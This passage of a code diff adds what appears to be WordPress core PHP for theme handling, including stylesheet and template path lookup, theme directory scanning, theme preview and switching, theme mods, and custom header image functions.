+ * @return WP_Theme Theme object. Be sure to check the object's exists() method if you need to confirm the theme's existence.
+ */
+function wp_get_theme( $stylesheet = null, $theme_root = null ) {
+	global $wp_theme_directories;
+
+	if ( empty( $stylesheet ) )
+		$stylesheet = get_stylesheet();
+
+	if ( empty( $theme_root ) ) {
+		$theme_root = get_raw_theme_root( $stylesheet );
+		if ( false === $theme_root )
+			$theme_root = WP_CONTENT_DIR . '/themes';
+		elseif ( ! in_array( $theme_root, (array) $wp_theme_directories ) )
+			$theme_root = WP_CONTENT_DIR . $theme_root;
+	}
+
+	return new WP_Theme( $stylesheet, $theme_root );
+}
+
+/**
+ * Clears the cache held by get_theme_roots() and WP_Theme.
+ *
+ * @since 3.5.0
+ * @param bool $clear_update_cache Whether to clear the Theme updates cache
+ */
+function wp_clean_themes_cache( $clear_update_cache = true ) {
+	if ( $clear_update_cache )
+		delete_site_transient( 'update_themes' );
+	search_theme_directories( true );
+	foreach ( wp_get_themes( array( 'errors' => null ) ) as $theme )
+		$theme->cache_delete();
+}
+
+/**
+ * Whether a child theme is in use.
+ *
+ * @since 3.0.0
+ *
+ * @return bool true if a child theme is in use, false otherwise.
+ **/
+function is_child_theme() {
+	return ( TEMPLATEPATH !== STYLESHEETPATH );
+}
+
+/**
+ * Retrieve name of the current stylesheet.
+ *
+ * The theme name that the administrator has currently set the front end theme
+ * as.
+ *
+ * For all intents and purposes, the template name and the stylesheet name are
+ * going to be the same for most cases.
+ *
+ * @since 1.5.0
+ *
+ * @return string Stylesheet name.
+ */
+function get_stylesheet() {
+	/**
+	 * Filter the name of current stylesheet.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $stylesheet Name of the current stylesheet.
+	 */
+	return apply_filters( 'stylesheet', get_option( 'stylesheet' ) );
+}
+
+/**
+ * Retrieve stylesheet directory path for current theme.
+ *
+ * @since 1.5.0
+ *
+ * @return string Path to current theme directory.
+ */
+function get_stylesheet_directory() {
+	$stylesheet = get_stylesheet();
+	$theme_root = get_theme_root( $stylesheet );
+	$stylesheet_dir = "$theme_root/$stylesheet";
+
+	/**
+	 * Filter the stylesheet directory path for current theme.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $stylesheet_dir Absolute path to the current them.
+	 * @param string $stylesheet     Directory name of the current theme.
+	 * @param string $theme_root     Absolute path to themes directory.
+	 */
+	return apply_filters( 'stylesheet_directory', $stylesheet_dir, $stylesheet, $theme_root );
+}
+
+/**
+ * Retrieve stylesheet directory URI.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_stylesheet_directory_uri() {
+	$stylesheet = str_replace( '%2F', '/', rawurlencode( get_stylesheet() ) );
+	$theme_root_uri = get_theme_root_uri( $stylesheet );
+	$stylesheet_dir_uri = "$theme_root_uri/$stylesheet";
+
+	/**
+	 * Filter the stylesheet directory URI.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $stylesheet_dir_uri Stylesheet directory URI.
+	 * @param string $stylesheet         Name of the activated theme's directory.
+	 * @param string $theme_root_uri     Themes root URI.
+	 */
+	return apply_filters( 'stylesheet_directory_uri', $stylesheet_dir_uri, $stylesheet, $theme_root_uri );
+}
+
+/**
+ * Retrieve URI of current theme stylesheet.
+ *
+ * The stylesheet file name is 'style.css' which is appended to {@link
+ * get_stylesheet_directory_uri() stylesheet directory URI} path.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_stylesheet_uri() {
+	$stylesheet_dir_uri = get_stylesheet_directory_uri();
+	$stylesheet_uri = $stylesheet_dir_uri . '/style.css';
+	/**
+	 * Filter the URI of the current theme stylesheet.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $stylesheet_uri     Stylesheet URI for the current theme/child theme.
+	 * @param string $stylesheet_dir_uri Stylesheet directory URI for the current theme/child theme.
+	 */
+	return apply_filters( 'stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri );
+}
+
+/**
+ * Retrieve localized stylesheet URI.
+ *
+ * The stylesheet directory for the localized stylesheet files are located, by
+ * default, in the base theme directory. The name of the locale file will be the
+ * locale followed by '.css'. If that does not exist, then the text direction
+ * stylesheet will be checked for existence, for example 'ltr.css'.
+ *
+ * The theme may change the location of the stylesheet directory by either using
+ * the 'stylesheet_directory_uri' filter or the 'locale_stylesheet_uri' filter.
+ * If you want to change the location of the stylesheet files for the entire
+ * WordPress workflow, then change the former. If you just have the locale in a
+ * separate folder, then change the latter.
+ *
+ * @since 2.1.0
+ *
+ * @return string
+ */
+function get_locale_stylesheet_uri() {
+	global $wp_locale;
+	$stylesheet_dir_uri = get_stylesheet_directory_uri();
+	$dir = get_stylesheet_directory();
+	$locale = get_locale();
+	if ( file_exists("$dir/$locale.css") )
+		$stylesheet_uri = "$stylesheet_dir_uri/$locale.css";
+	elseif ( !empty($wp_locale->text_direction) && file_exists("$dir/{$wp_locale->text_direction}.css") )
+		$stylesheet_uri = "$stylesheet_dir_uri/{$wp_locale->text_direction}.css";
+	else
+		$stylesheet_uri = '';
+	/**
+	 * Filter the localized stylesheet URI.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $stylesheet_uri     Localized stylesheet URI.
+	 * @param string $stylesheet_dir_uri Stylesheet directory URI.
+	 */
+	return apply_filters( 'locale_stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri );
+}
+
+/**
+ * Retrieve name of the current theme.
+ *
+ * @since 1.5.0
+ *
+ * @return string Template name.
+ */
+function get_template() {
+	/**
+	 * Filter the name of the current theme.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $template Current theme's directory name.
+	 */
+	return apply_filters( 'template', get_option( 'template' ) );
+}
+
+/**
+ * Retrieve current theme directory.
+ *
+ * @since 1.5.0
+ *
+ * @return string Template directory path.
+ */
+function get_template_directory() {
+	$template = get_template();
+	$theme_root = get_theme_root( $template );
+	$template_dir = "$theme_root/$template";
+
+	/**
+	 * Filter the current theme directory path.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $template_dir The URI of the current theme directory.
+	 * @param string $template     Directory name of the current theme.
+	 * @param string $theme_root   Absolute path to the themes directory.
+	 */
+	return apply_filters( 'template_directory', $template_dir, $template, $theme_root );
+}
+
+/**
+ * Retrieve theme directory URI.
+ *
+ * @since 1.5.0
+ *
+ * @return string Template directory URI.
+ */
+function get_template_directory_uri() {
+	$template = str_replace( '%2F', '/', rawurlencode( get_template() ) );
+	$theme_root_uri = get_theme_root_uri( $template );
+	$template_dir_uri = "$theme_root_uri/$template";
+
+	/**
+	 * Filter the current theme directory URI.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $template_dir_uri The URI of the current theme directory.
+	 * @param string $template         Directory name of the current theme.
+	 * @param string $theme_root_uri   The themes root URI.
+	 */
+	return apply_filters( 'template_directory_uri', $template_dir_uri, $template, $theme_root_uri );
+}
+
+/**
+ * Retrieve theme roots.
+ *
+ * @since 2.9.0
+ *
+ * @return array|string An array of theme roots keyed by template/stylesheet or a single theme root if all themes have the same root.
+ */
+function get_theme_roots() {
+	global $wp_theme_directories;
+
+	if ( count($wp_theme_directories) <= 1 )
+		return '/themes';
+
+	$theme_roots = get_site_transient( 'theme_roots' );
+	if ( false === $theme_roots ) {
+		search_theme_directories( true ); // Regenerate the transient.
+		$theme_roots = get_site_transient( 'theme_roots' );
+	}
+	return $theme_roots;
+}
+
+/**
+ * Register a directory that contains themes.
+ *
+ * @since 2.9.0
+ *
+ * @param string $directory Either the full filesystem path to a theme folder or a folder within WP_CONTENT_DIR
+ * @return bool
+ */
+function register_theme_directory( $directory ) {
+	global $wp_theme_directories;
+
+	if ( ! file_exists( $directory ) ) {
+		// Try prepending as the theme directory could be relative to the content directory
+		$directory = WP_CONTENT_DIR . '/' . $directory;
+		// If this directory does not exist, return and do not register
+		if ( ! file_exists( $directory ) ) {
+			return false;
+		}
+	}
+
+	if ( ! is_array( $wp_theme_directories ) ) {
+		$wp_theme_directories = array();
+	}
+
+	$untrailed = untrailingslashit( $directory );
+	if ( ! empty( $untrailed ) && ! in_array( $untrailed, $wp_theme_directories ) ) {
+		$wp_theme_directories[] = $untrailed;
+	}
+
+	return true;
+}
+
+/**
+ * Search all registered theme directories for complete and valid themes.
+ *
+ * @since 2.9.0
+ *
+ * @param bool $force Optional. Whether to force a new directory scan. Defaults to false.
+ * @return array Valid themes found
+ */
+function search_theme_directories( $force = false ) {
+	global $wp_theme_directories;
+	if ( empty( $wp_theme_directories ) )
+		return false;
+
+	static $found_themes;
+	if ( ! $force && isset( $found_themes ) )
+		return $found_themes;
+
+	$found_themes = array();
+
+	$wp_theme_directories = (array) $wp_theme_directories;
+
+	// Set up maybe-relative, maybe-absolute array of theme directories.
+	// We always want to return absolute, but we need to cache relative
+	// to use in get_theme_root().
+	foreach ( $wp_theme_directories as $theme_root ) {
+		if ( 0 === strpos( $theme_root, WP_CONTENT_DIR ) )
+			$relative_theme_roots[ str_replace( WP_CONTENT_DIR, '', $theme_root ) ] = $theme_root;
+		else
+			$relative_theme_roots[ $theme_root ] = $theme_root;
+	}
+
+	/**
+	 * Filter whether to get the cache of the registered theme directories.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param bool   $cache_expiration Whether to get the cache of the theme directories. Default false.
+	 * @param string $cache_directory  Directory to be searched for the cache.
+	 */
+	if ( $cache_expiration = apply_filters( 'wp_cache_themes_persistently', false, 'search_theme_directories' ) ) {
+		$cached_roots = get_site_transient( 'theme_roots' );
+		if ( is_array( $cached_roots ) ) {
+			foreach ( $cached_roots as $theme_dir => $theme_root ) {
+				// A cached theme root is no longer around, so skip it.
+				if ( ! isset( $relative_theme_roots[ $theme_root ] ) )
+					continue;
+				$found_themes[ $theme_dir ] = array(
+					'theme_file' => $theme_dir . '/style.css',
+					'theme_root' => $relative_theme_roots[ $theme_root ], // Convert relative to absolute.
+				);
+			}
+			return $found_themes;
+		}
+		if ( ! is_int( $cache_expiration ) )
+			$cache_expiration = 1800; // half hour
+	} else {
+		$cache_expiration = 1800; // half hour
+	}
+
+	/* Loop the registered theme directories and extract all themes */
+	foreach ( $wp_theme_directories as $theme_root ) {
+
+		// Start with directories in the root of the current theme directory.
+		$dirs = @ scandir( $theme_root );
+		if ( ! $dirs ) {
+			trigger_error( "$theme_root is not readable", E_USER_NOTICE );
+			continue;
+		}
+		foreach ( $dirs as $dir ) {
+			if ( ! is_dir( $theme_root . '/' . $dir ) || $dir[0] == '.' || $dir == 'CVS' )
+				continue;
+			if ( file_exists( $theme_root . '/' . $dir . '/style.css' ) ) {
+				// wp-content/themes/a-single-theme
+				// wp-content/themes is $theme_root, a-single-theme is $dir
+				$found_themes[ $dir ] = array(
+					'theme_file' => $dir . '/style.css',
+					'theme_root' => $theme_root,
+				);
+			} else {
+				$found_theme = false;
+				// wp-content/themes/a-folder-of-themes/*
+				// wp-content/themes is $theme_root, a-folder-of-themes is $dir, then themes are $sub_dirs
+				$sub_dirs = @ scandir( $theme_root . '/' . $dir );
+				if ( ! $sub_dirs ) {
+					trigger_error( "$theme_root/$dir is not readable", E_USER_NOTICE );
+					continue;
+				}
+				foreach ( $sub_dirs as $sub_dir ) {
+					if ( ! is_dir( $theme_root . '/' . $dir . '/' . $sub_dir ) || $dir[0] == '.' || $dir == 'CVS' )
+						continue;
+					if ( ! file_exists( $theme_root . '/' . $dir . '/' . $sub_dir . '/style.css' ) )
+						continue;
+					$found_themes[ $dir . '/' . $sub_dir ] = array(
+						'theme_file' => $dir . '/' . $sub_dir . '/style.css',
+						'theme_root' => $theme_root,
+					);
+					$found_theme = true;
+				}
+				// Never mind the above, it's just a theme missing a style.css.
+				// Return it; WP_Theme will catch the error.
+				if ( ! $found_theme )
+					$found_themes[ $dir ] = array(
+						'theme_file' => $dir . '/style.css',
+						'theme_root' => $theme_root,
+					);
+			}
+		}
+	}
+
+	asort( $found_themes );
+
+	$theme_roots = array();
+	$relative_theme_roots = array_flip( $relative_theme_roots );
+
+	foreach ( $found_themes as $theme_dir => $theme_data ) {
+		$theme_roots[ $theme_dir ] = $relative_theme_roots[ $theme_data['theme_root'] ]; // Convert absolute to relative.
+	}
+
+	if ( $theme_roots != get_site_transient( 'theme_roots' ) )
+		set_site_transient( 'theme_roots', $theme_roots, $cache_expiration );
+
+	return $found_themes;
+}
+
+/**
+ * Retrieve path to themes directory.
+ *
+ * Does not have trailing slash.
+ *
+ * @since 1.5.0
+ *
+ * @param string $stylesheet_or_template The stylesheet or template name of the theme
+ * @return string Theme path.
+ */
+function get_theme_root( $stylesheet_or_template = false ) {
+	global $wp_theme_directories;
+
+	if ( $stylesheet_or_template && $theme_root = get_raw_theme_root( $stylesheet_or_template ) ) {
+		// Always prepend WP_CONTENT_DIR unless the root currently registered as a theme directory.
+		// This gives relative theme roots the benefit of the doubt when things go haywire.
+		if ( ! in_array( $theme_root, (array) $wp_theme_directories ) )
+			$theme_root = WP_CONTENT_DIR . $theme_root;
+	} else {
+		$theme_root = WP_CONTENT_DIR . '/themes';
+	}
+
+	/**
+	 * Filter the absolute path to the themes directory.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $theme_root Absolute path to themes directory.
+	 */
+	return apply_filters( 'theme_root', $theme_root );
+}
+
+/**
+ * Retrieve URI for themes directory.
+ *
+ * Does not have trailing slash.
+ *
+ * @since 1.5.0
+ *
+ * @param string $stylesheet_or_template Optional. The stylesheet or template name of the theme.
+ * 	Default is to leverage the main theme root.
+ * @param string $theme_root Optional. The theme root for which calculations will be based, preventing
+ * 	the need for a get_raw_theme_root() call.
+ * @return string Themes URI.
+ */
+function get_theme_root_uri( $stylesheet_or_template = false, $theme_root = false ) {
+	global $wp_theme_directories;
+
+	if ( $stylesheet_or_template && ! $theme_root )
+		$theme_root = get_raw_theme_root( $stylesheet_or_template );
+
+	if ( $stylesheet_or_template && $theme_root ) {
+		if ( in_array( $theme_root, (array) $wp_theme_directories ) ) {
+			// Absolute path. Make an educated guess. YMMV -- but note the filter below.
+			if ( 0 === strpos( $theme_root, WP_CONTENT_DIR ) )
+				$theme_root_uri = content_url( str_replace( WP_CONTENT_DIR, '', $theme_root ) );
+			elseif ( 0 === strpos( $theme_root, ABSPATH ) )
+				$theme_root_uri = site_url( str_replace( ABSPATH, '', $theme_root ) );
+			elseif ( 0 === strpos( $theme_root, WP_PLUGIN_DIR ) || 0 === strpos( $theme_root, WPMU_PLUGIN_DIR ) )
+				$theme_root_uri = plugins_url( basename( $theme_root ), $theme_root );
+			else
+				$theme_root_uri = $theme_root;
+		} else {
+			$theme_root_uri = content_url( $theme_root );
+		}
+	} else {
+		$theme_root_uri = content_url( 'themes' );
+	}
+
+	/**
+	 * Filter the URI for themes directory.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $theme_root_uri         The URI for themes directory.
+	 * @param string $siteurl                WordPress web address which is set in General Options.
+	 * @param string $stylesheet_or_template Stylesheet or template name of the theme.
+	 */
+	return apply_filters( 'theme_root_uri', $theme_root_uri, get_option( 'siteurl' ), $stylesheet_or_template );
+}
+
+/**
+ * Get the raw theme root relative to the content directory with no filters applied.
+ *
+ * @since 3.1.0
+ *
+ * @param string $stylesheet_or_template The stylesheet or template name of the theme
+ * @param bool $skip_cache Optional. Whether to skip the cache. Defaults to false, meaning the cache is used.
+ * @return string Theme root
+ */
+function get_raw_theme_root( $stylesheet_or_template, $skip_cache = false ) {
+	global $wp_theme_directories;
+
+	if ( count($wp_theme_directories) <= 1 )
+		return '/themes';
+
+	$theme_root = false;
+
+	// If requesting the root for the current theme, consult options to avoid calling get_theme_roots()
+	if ( ! $skip_cache ) {
+		if ( get_option('stylesheet') == $stylesheet_or_template )
+			$theme_root = get_option('stylesheet_root');
+		elseif ( get_option('template') == $stylesheet_or_template )
+			$theme_root = get_option('template_root');
+	}
+
+	if ( empty($theme_root) ) {
+		$theme_roots = get_theme_roots();
+		if ( !empty($theme_roots[$stylesheet_or_template]) )
+			$theme_root = $theme_roots[$stylesheet_or_template];
+	}
+
+	return $theme_root;
+}
+
+/**
+ * Display localized stylesheet link element.
+ *
+ * @since 2.1.0
+ */
+function locale_stylesheet() {
+	$stylesheet = get_locale_stylesheet_uri();
+	if ( empty($stylesheet) )
+		return;
+	echo '<link rel="stylesheet" href="' . $stylesheet . '" type="text/css" media="screen" />';
+}
+
+/**
+ * Start preview theme output buffer.
+ *
+ * Will only perform task if the user has permissions and template and preview
+ * query variables exist.
+ *
+ * @since 2.6.0
+ */
+function preview_theme() {
+	if ( ! (isset($_GET['template']) && isset($_GET['preview'])) )
+		return;
+
+	if ( !current_user_can( 'switch_themes' ) )
+		return;
+
+	// Admin Thickbox requests
+	if ( isset( $_GET['preview_iframe'] ) )
+		show_admin_bar( false );
+
+	$_GET['template'] = preg_replace('|[^a-z0-9_./-]|i', '', $_GET['template']);
+
+	if ( validate_file($_GET['template']) )
+		return;
+
+	add_filter( 'template', '_preview_theme_template_filter' );
+
+	if ( isset($_GET['stylesheet']) ) {
+		$_GET['stylesheet'] = preg_replace('|[^a-z0-9_./-]|i', '', $_GET['stylesheet']);
+		if ( validate_file($_GET['stylesheet']) )
+			return;
+		add_filter( 'stylesheet', '_preview_theme_stylesheet_filter' );
+	}
+
+	// Prevent theme mods to current theme being used on theme being previewed
+	add_filter( 'pre_option_theme_mods_' . get_option( 'stylesheet' ), '__return_empty_array' );
+
+	ob_start( 'preview_theme_ob_filter' );
+}
+add_action('setup_theme', 'preview_theme');
+
+/**
+ * Private function to modify the current template when previewing a theme
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @return string
+ */
+function _preview_theme_template_filter() {
+	return isset($_GET['template']) ? $_GET['template'] : '';
+}
+
+/**
+ * Private function to modify the current stylesheet when previewing a theme
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @return string
+ */
+function _preview_theme_stylesheet_filter() {
+	return isset($_GET['stylesheet']) ? $_GET['stylesheet'] : '';
+}
+
+/**
+ * Callback function for ob_start() to capture all links in the theme.
+ *
+ * @since 2.6.0
+ * @access private
+ *
+ * @param string $content
+ * @return string
+ */
+function preview_theme_ob_filter( $content ) {
+	return preg_replace_callback( "|(<a.*?href=([\"']))(.*?)([\"'].*?>)|", 'preview_theme_ob_filter_callback', $content );
+}
+
+/**
+ * Manipulates preview theme links in order to control and maintain location.
+ *
+ * Callback function for preg_replace_callback() to accept and filter matches.
+ *
+ * @since 2.6.0
+ * @access private
+ *
+ * @param array $matches
+ * @return string
+ */
+function preview_theme_ob_filter_callback( $matches ) {
+	if ( strpos($matches[4], 'onclick') !== false )
+		$matches[4] = preg_replace('#onclick=([\'"]).*?(?<!\\\)\\1#i', '', $matches[4]); //Strip out any onclicks from rest of <a>. (?<!\\\) means to ignore the '" if it's escaped by \  to prevent breaking mid-attribute.
+	if (
+		( false !== strpos($matches[3], '/wp-admin/') )
+	||
+		( false !== strpos( $matches[3], '://' ) && 0 !== strpos( $matches[3], home_url() ) )
+	||
+		( false !== strpos($matches[3], '/feed/') )
+	||
+		( false !== strpos($matches[3], '/trackback/') )
+	)
+		return $matches[1] . "#$matches[2] onclick=$matches[2]return false;" . $matches[4];
+
+	$stylesheet = isset( $_GET['stylesheet'] ) ? $_GET['stylesheet'] : '';
+	$template   = isset( $_GET['template'] )   ? $_GET['template']   : '';
+
+	$link = add_query_arg( array( 'preview' => 1, 'template' => $template, 'stylesheet' => $stylesheet, 'preview_iframe' => 1 ), $matches[3] );
+	if ( 0 === strpos($link, 'preview=1') )
+		$link = "?$link";
+	return $matches[1] . esc_attr( $link ) . $matches[4];
+}
+
+/**
+ * Switches the theme.
+ *
+ * Accepts one argument: $stylesheet of the theme. It also accepts an additional function signature
+ * of two arguments: $template then $stylesheet. This is for backwards compatibility.
+ *
+ * @since 2.5.0
+ *
+ * @param string $stylesheet Stylesheet name
+ */
+function switch_theme( $stylesheet ) {
+	global $wp_theme_directories, $wp_customize, $sidebars_widgets;
+
+	$_sidebars_widgets = null;
+	if ( 'wp_ajax_customize_save' === current_action() ) {
+		$_sidebars_widgets = $wp_customize->post_value( $wp_customize->get_setting( 'old_sidebars_widgets_data' ) );
+	} elseif ( is_array( $sidebars_widgets ) ) {
+		$_sidebars_widgets = $sidebars_widgets;
+	}
+
+	if ( is_array( $_sidebars_widgets ) ) {
+		set_theme_mod( 'sidebars_widgets', array( 'time' => time(), 'data' => $_sidebars_widgets ) );
+	}
+
+	$old_theme  = wp_get_theme();
+	$new_theme = wp_get_theme( $stylesheet );
+
+	if ( func_num_args() > 1 ) {
+		$template = $stylesheet;
+		$stylesheet = func_get_arg( 1 );
+	} else {
+		$template = $new_theme->get_template();
+	}
+
+	update_option( 'template', $template );
+	update_option( 'stylesheet', $stylesheet );
+
+	if ( count( $wp_theme_directories ) > 1 ) {
+		update_option( 'template_root', get_raw_theme_root( $template, true ) );
+		update_option( 'stylesheet_root', get_raw_theme_root( $stylesheet, true ) );
+	} else {
+		delete_option( 'template_root' );
+		delete_option( 'stylesheet_root' );
+	}
+
+	$new_name  = $new_theme->get('Name');
+
+	update_option( 'current_theme', $new_name );
+
+	// Migrate from the old mods_{name} option to theme_mods_{slug}.
+	if ( is_admin() && false === get_option( 'theme_mods_' . $stylesheet ) ) {
+		$default_theme_mods = (array) get_option( 'mods_' . $new_name );
+		add_option( "theme_mods_$stylesheet", $default_theme_mods );
+	} else {
+		/*
+		 * Since retrieve_widgets() is called when initializing a theme in the Customizer,
+		 * we need to to remove the theme mods to avoid overwriting changes made via
+		 * the Customizer when accessing wp-admin/widgets.php.
+		 */
+		if ( 'wp_ajax_customize_save' === current_action() ) {
+			remove_theme_mod( 'sidebars_widgets' );
+		}
+	}
+
+	update_option( 'theme_switched', $old_theme->get_stylesheet() );
+	/**
+	 * Fires after the theme is switched.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string   $new_name  Name of the new theme.
+	 * @param WP_Theme $new_theme WP_Theme instance of the new theme.
+	 */
+	do_action( 'switch_theme', $new_name, $new_theme );
+}
+
+/**
+ * Checks that current theme files 'index.php' and 'style.css' exists.
+ *
+ * Does not check the default theme, which is the fallback and should always exist.
+ * Will switch theme to the fallback theme if current theme does not validate.
+ * You can use the 'validate_current_theme' filter to return false to
+ * disable this functionality.
+ *
+ * @since 1.5.0
+ * @see WP_DEFAULT_THEME
+ *
+ * @return bool
+ */
+function validate_current_theme() {
+	/**
+	 * Filter whether to validate the current theme.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param bool true Validation flag to check the current theme.
+	 */
+	if ( defined('WP_INSTALLING') || ! apply_filters( 'validate_current_theme', true ) )
+		return true;
+
+	if ( get_template() != WP_DEFAULT_THEME && !file_exists(get_template_directory() . '/index.php') ) {
+		switch_theme( WP_DEFAULT_THEME );
+		return false;
+	}
+
+	if ( get_stylesheet() != WP_DEFAULT_THEME && !file_exists(get_template_directory() . '/style.css') ) {
+		switch_theme( WP_DEFAULT_THEME );
+		return false;
+	}
+
+	if ( is_child_theme() && ! file_exists( get_stylesheet_directory() . '/style.css' ) ) {
+		switch_theme( WP_DEFAULT_THEME );
+		return false;
+	}
+
+	return true;
+}
+
+/**
+ * Retrieve all theme modifications.
+ *
+ * @since 3.1.0
+ *
+ * @return array|null Theme modifications.
+ */
+function get_theme_mods() {
+	$theme_slug = get_option( 'stylesheet' );
+	if ( false === ( $mods = get_option( "theme_mods_$theme_slug" ) ) ) {
+		$theme_name = get_option( 'current_theme' );
+		if ( false === $theme_name )
+			$theme_name = wp_get_theme()->get('Name');
+		$mods = get_option( "mods_$theme_name" ); // Deprecated location.
+		if ( is_admin() && false !== $mods ) {
+			update_option( "theme_mods_$theme_slug", $mods );
+			delete_option( "mods_$theme_name" );
+		}
+	}
+	return $mods;
+}
+
+/**
+ * Retrieve theme modification value for the current theme.
+ *
+ * If the modification name does not exist, then the $default will be passed
+ * through {@link http://php.net/sprintf sprintf()} PHP function with the first
+ * string the template directory URI and the second string the stylesheet
+ * directory URI.
+ *
+ * @since 2.1.0
+ *
+ * @param string $name Theme modification name.
+ * @param bool|string $default
+ * @return string
+ */
+function get_theme_mod( $name, $default = false ) {
+	$mods = get_theme_mods();
+
+	if ( isset( $mods[$name] ) ) {
+		/**
+		 * Filter the theme modification, or 'theme_mod', value.
+		 *
+		 * The dynamic portion of the hook name, `$name`, refers to
+		 * the key name of the modification array. For example,
+		 * 'header_textcolor', 'header_image', and so on depending
+		 * on the theme options.
+		 *
+		 * @since 2.2.0
+		 *
+		 * @param string $current_mod The value of the current theme modification.
+		 */
+		return apply_filters( "theme_mod_{$name}", $mods[$name] );
+	}
+
+	if ( is_string( $default ) )
+		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
+
+	/** This filter is documented in wp-includes/theme.php */
+	return apply_filters( "theme_mod_{$name}", $default );
+}
+
+/**
+ * Update theme modification value for the current theme.
+ *
+ * @since 2.1.0
+ *
+ * @param string $name Theme modification name.
+ * @param string $value theme modification value.
+ */
+function set_theme_mod( $name, $value ) {
+	$mods = get_theme_mods();
+	$old_value = isset( $mods[ $name ] ) ? $mods[ $name ] : false;
+
+	/**
+	 * Filter the theme mod value on save.
+	 *
+	 * The dynamic portion of the hook name, `$name`, refers to the key name of
+	 * the modification array. For example, 'header_textcolor', 'header_image',
+	 * and so on depending on the theme options.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $value     The new value of the theme mod.
+	 * @param string $old_value The current value of the theme mod.
+	 */
+	$mods[ $name ] = apply_filters( "pre_set_theme_mod_$name", $value, $old_value );
+
+	$theme = get_option( 'stylesheet' );
+	update_option( "theme_mods_$theme", $mods );
+}
+
+/**
+ * Remove theme modification name from current theme list.
+ *
+ * If removing the name also removes all elements, then the entire option will
+ * be removed.
+ *
+ * @since 2.1.0
+ *
+ * @param string $name Theme modification name.
+ * @return null
+ */
+function remove_theme_mod( $name ) {
+	$mods = get_theme_mods();
+
+	if ( ! isset( $mods[ $name ] ) )
+		return;
+
+	unset( $mods[ $name ] );
+
+	if ( empty( $mods ) )
+		return remove_theme_mods();
+
+	$theme = get_option( 'stylesheet' );
+	update_option( "theme_mods_$theme", $mods );
+}
+
+/**
+ * Remove theme modifications option for current theme.
+ *
+ * @since 2.1.0
+ */
+function remove_theme_mods() {
+	delete_option( 'theme_mods_' . get_option( 'stylesheet' ) );
+
+	// Old style.
+	$theme_name = get_option( 'current_theme' );
+	if ( false === $theme_name )
+		$theme_name = wp_get_theme()->get('Name');
+	delete_option( 'mods_' . $theme_name );
+}
+
+/**
+ * Retrieve text color for custom header.
+ *
+ * @since 2.1.0
+ *
+ * @return string
+ */
+function get_header_textcolor() {
+	return get_theme_mod('header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ) );
+}
+
+/**
+ * Display text color for custom header.
+ *
+ * @since 2.1.0
+ */
+function header_textcolor() {
+	echo get_header_textcolor();
+}
+
+/**
+ * Whether to display the header text.
+ *
+ * @since 3.4.0
+ *
+ * @return bool
+ */
+function display_header_text() {
+	if ( ! current_theme_supports( 'custom-header', 'header-text' ) )
+		return false;
+
+	$text_color = get_theme_mod( 'header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ) );
+	return 'blank' != $text_color;
+}
+
+/**
+ * Retrieve header image for custom header.
+ *
+ * @since 2.1.0
+ *
+ * @return string
+ */
+function get_header_image() {
+	$url = get_theme_mod( 'header_image', get_theme_support( 'custom-header', 'default-image' ) );
+
+	if ( 'remove-header' == $url )
+		return false;
+
+	if ( is_random_header_image() )
+		$url = get_random_header_image();
+
+	return esc_url_raw( set_url_scheme( $url ) );
+}
+
+/**
+ * Get random header image data from registered images in theme.
+ *
+ * @since 3.4.0
+ *
+ * @access private
+ *
+ * @return string Path to header image
+ */
+
+function _get_random_header_data() {
+	static $_wp_random_header;
+
+	if ( empty( $_wp_random_header ) ) {
+		global $_wp_default_headers;
+		$header_image_mod = get_theme_mod( 'header_image', '' );
+		$headers = array();
+
+		if ( 'random-uploaded-image' == $header_image_mod )
+			$headers = get_uploaded_header_images();
+		elseif ( ! empty( $_wp_default_headers ) ) {
+			if ( 'random-default-image' == $header_image_mod ) {
+				$headers = $_wp_default_headers;
+			} else {
+				if ( current_theme_supports( 'custom-header', 'random-default' ) )
+					$headers = $_wp_default_headers;
+			}
+		}
+
+		if ( empty( $headers ) )
+			return new stdClass;
+
+		$_wp_random_header = (object) $headers[ array_rand( $headers ) ];
+
+		$_wp_random_header->url =  sprintf( $_wp_random_header->url, get_template_directory_uri(), get_stylesheet_directory_uri() );
+		$_wp_random_header->thumbnail_url =  sprintf( $_wp_random_header->thumbnail_url, get_template_directory_uri(), get_stylesheet_directory_uri() );
+	}
+	return $_wp_random_header;
+}
+
+/**
+ * Get random header image url from registered images in theme.
+ *
+ * @since 3.2.0
+ *
+ * @return string Path to header image
+ */
+
+function get_random_header_image() {
+	$random_image = _get_random_header_data();
+	if ( empty( $random_image->url ) )
+		return '';
+	return $random_image->url;
+}
+
+/**
+ * Check if random header image is in use.
+ *
+ * Always true if user expressly chooses the option in Appearance > Header.
+ * Also true if theme has multiple header images registered, no specific header image
+ * is chosen, and theme turns on random headers with add_theme_support().
+ *
+ * @since 3.2.0
+ *
+ * @param string $type The random pool to use. any|default|uploaded
+ * @return boolean
+ */
+function is_random_header_image( $type = 'any' ) {
+	$header_image_mod = get_theme_mod( 'header_image', get_theme_support( 'custom-header', 'default-image' ) );
+
+	if ( 'any' == $type ) {
+		if ( 'random-default-image' == $header_image_mod || 'random-uploaded-image' == $header_image_mod || ( '' != get_random_header_image() && empty( $header_image_mod ) ) )
+			return true;
+	} else {
+		if ( "random-$type-image" == $header_image_mod )
+			return true;
+		elseif ( 'default' == $type && empty( $header_image_mod ) && '' != get_random_header_image() )
+			return true;
+	}
+
+	return false;
+}
+
+/**
